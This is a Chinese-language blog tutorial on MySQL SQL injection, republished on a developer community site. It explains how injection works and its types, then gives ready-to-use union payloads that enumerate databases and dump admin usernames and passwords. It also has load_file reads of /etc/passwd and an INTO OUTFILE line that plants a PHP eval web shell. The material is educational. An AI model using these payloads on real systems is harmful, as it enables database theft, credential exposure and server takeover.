首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SQL注入详谈

SQL注入详谈

作者头像
行云博客
发布于 2022-05-11 07:25:06
发布于 2022-05-11 07:25:06
76500
代码可运行
举报
文章被收录于专栏:行云博客行云博客
运行总次数:0
代码可运行

文章目录[隐藏]

简介

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

原理

针对 SQL 注入的攻击行为可描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。

其成因可以归结以下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中。

注入危害

攻击者利用 SQL 注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过 SQL 注入漏洞直接获取 webshell 或者服务器系统权限。

注入分类

1.根据数据类型

  • 数字型注入
  • 字符型注入

区别:

字符型:需要单引号闭合的就是字符型注入,并且需要注释掉后面的单引号 (注释符号:#,– – ,/*)

数值型:不需要单引号闭合,也不需要注释符号

根据注入语法

  • UNION query SQL injection(可联合查询注入)
  • Stacked queries SQL injection(可多语句查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)

SQL 注入挖掘

  • and 1=1 和 and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
  • (转义符)
  • -1/+1 回显下一个或上一个页面(整型判断)(需要用%2b 转码+号)
  • and sleep(5) (判断页面返回时间)

MySQL 中常用函数

  • system_user() 系统用户名
  • user() 数据库的用户名
  • current_user() 当前用户名
  • session_user() 连接数据库的用户名
  • database() 数据库名
  • version() MYSQL 数据库版本
  • @@basedir 查看安装路径
  • load_file(‘/etc/passwd’) MYSQL 读取本地文件的函数

MySQL 中 information_scheme 库

  • SCHEMATA 表 字段:SCHEMA_NAME (数据库名字)
  • TABLES 表 字段:TABLE_SCHEMA, TABLE_NAME
  • COLUMNS 表 字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

load_file( )函数 读文件操作

前提:

  • 知道文件绝对路径
  • 能够使用 union 查询
  • 对 web 目录有读写权限
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
UNION SELECT 1 ,load_file ( '/etc/passwd' ) , 3 , 4 , 5 , 6#
UNION SELECT 1 ,load_file ( 'D://phpStudy//WWW//conn.php' ) , 3 , 4 , 5 , 6
UNION SELECT 1 ,load_file (0x443A2F2F70687053747564792F2F5757572F2F636F6E6E2E706870 ) , 3 , 4 , 5 , 6

into outfile( )写文件操作

前提:

  • 文件名必须全路径(绝对路径),
  • 用户必须有写文件的权限
  • 没有对 ‘ 单引号过滤
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT '<?php eval($_POST[1]); ?>' INTO OUTFILE ' D://phpStudy//WWW//hack.php '

MySQL 中 UNION 规则

  • UNION 必须由两条或两条以上的 SELECT 语句组成,语句之间用关键字 UNION 分隔
  • UNION 中的每个查询必须包含相同的列。
  • UNION 会从查询结果集中自动去除了重复行。

对以上知识有所了解之后我们就可以学习一些在SQL注入时常用的一些操作

1.判断字段数

挖掘出注入点之后我们可以通过 order by 来判断表的字段数 例如: http://www.xxx.com/test.php?id=6 order by n

注:通常使用“order by N”,通过不断变换N的值,至刚好返回正常的网页,可得到当前表的字段数

2.判断显示位

http://www.xxx.com/test.php?id=6 union select 1,2,3,4,5,6

3.获取当数据库名称和当前连接数据库的用户

http://www.xxx.com/test.php?id=-1 union select 1,2,database(),4,5,6 http://www.xxx.com/test.php?id=-1 union select 1,2,user(),4,5,6

4.列出所有数据库

limit 一个一个打印出来库名 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 group_concat 一次性全部显示 select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

5.列出(数据库:xss)中所有的表

limit 一个一个打印出来字段名 schema select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’xss’ limit 0,1 group_concat 一次性全部显示 select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374 注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

6.列出(数据库:xss 表:admins )中所有的字段

limit 一个一个打印出来 select COLIMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=’xss’ and TABLENAME=’admins ‘ limit 0,1 group_concat 一次性全部显示 select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

7.列出(数据库:xss 表:admins )中的数据

limit 一个一个打印出来 select username,passwd from xss.admins limit 0,1 group_concat 把 一次性全部打印 select group_concat(concat(username,0x20,passwd)) from xss.admins


行云博客 - 免责申明 本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我联系处理。敬请谅解!

本文链接:https://www.xy586.top/7539.html

转载请注明文章来源:行云博客 » SQL注入详谈

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2000-04-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【PTE-day01 sql注入】
information_schema.schemata #存储了数据库中所有数据库的库名
samRsa
2023/11/17
3040
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.3K0
2022年最详细的SQL注入总结笔记
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4.2K0
SQL注入从入门到进阶
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
核心原理: MySql内置的infromation_schema库,它功能强大,是我们进行MySql注入的基石!
tea9
2022/07/16
2.1K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
数据库的一些注入技巧-mysql
SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';
Jumbo
2019/11/05
9860
超全sql注入实用语句_sql注入语句实例大全
目录 判断是否存在注入 判断列数 Union联合注入 爆数据库 爆表 爆字段 爆数据 sql盲注 导入导出文件 Post注入 修改useragent: 修改referer: 修改cookie gr
全栈程序员站长
2022/11/16
3.4K0
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.2K0
SQL注入的常规思路及奇葩技巧
最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。
信安之路
2018/08/08
1.7K0
SQL注入的常规思路及奇葩技巧
SQL注入笔记总结
在不断实践中经常遇到如下注入类型,总结了一些笔记 注入类型总结 注入类型 条件 关键 union注入 显示查询结果 order by , union select 布尔注入 只返回False或者True length、ord函数、二分法 报错注入 返回错误信息 updatexml、group_concat等函数 时间盲注 无返回信息判断可执行sleep sleep、if等函数 宽字节注入 数据库为GBK编码、使用了addslashes函数转义 %df'可以吃掉单引号 堆叠注入 执行多条查询语句 使用分号分隔
网络安全自修室
2020/08/31
8320
SQL注入原理剖析
SQL注入原理剖析 SQL注入流程 SQL注入流程: 1、判断是否有注入(判断是否为严格校验) 2、什么类型的SQL注入 3、语句是否能够被恶意修改 4、是否能够成功被带入执行 5、获取我们想要的数据
渗透攻击红队
2019/11/19
1.1K0
新手科普 | MySQL手工注入之基本注入流程
MySQL手工注入的基本步骤以及一些技巧的记录,当出现学习手工注入的时候,网上的文章参差不齐,导致很长一段时间对手工注入的理解一直处于一知半解的状态,特此记录本文,让小白们少走些弯路。本文只针对手工注入小白,大牛绕过轻喷。
HACK学习
2019/08/07
1.6K0
新手科普 | MySQL手工注入之基本注入流程
WEB安全基础 - - -SQL注入利用
 报错为:Unknown column '5' in 'order clause' 
干掉芹菜
2022/11/19
6250
WEB安全基础 - - -SQL注入利用
sql注入笔记
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
tea9
2023/03/08
5460
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
1K0
mysql注入高级篇1--内置系统表注入
团队纳新了,为了让小鲜肉们有素材,我写了一些基础的东西。大神勿喷..... mysql> select database(); +--------------------+ | database() | +--------------------+ | information_schema | +--------------------+ 1 row in set (0.00 sec) 我当前选中的是information_schema mysql> show tables; +------
lonelyvaf
2018/06/07
1.4K0
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
2K0
SQL注入(SQL注入(SQLi)攻击)攻击-联合注入
也就是说 , 后台SQL中拼接参数时 , 使用的是单引号 , 固 注入点为 单引号字符串型
红目香薰
2022/11/29
2.8K0
SQL注入(SQL注入(SQLi)攻击)攻击-联合注入
科普基础 | 这可能是最全的SQL注入总结,不来看看吗
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
HACK学习
2019/11/14
6.6K0
bwapp之sql注入_sql注入语句入门
0x0E、SQL Injection – Blind – Boolean-Based
全栈程序员站长
2022/11/09
8.9K0
bwapp之sql注入_sql注入语句入门
SQL注入报错注入函数[通俗易懂]
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
全栈程序员站长
2022/11/11
4.6K0
SQL注入报错注入函数[通俗易懂]
相关推荐
【PTE-day01 sql注入】
更多 >
LV.0
这个人很懒,什么都没有留下~
交个朋友
加入腾讯云官网粉丝站
蹲全网底价单品 享第一手活动信息
领券
一站式MCP教程库,解锁AI应用新玩法
涵盖代码开发、场景应用、自动测试全流程,助你从零构建专属AI助手
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验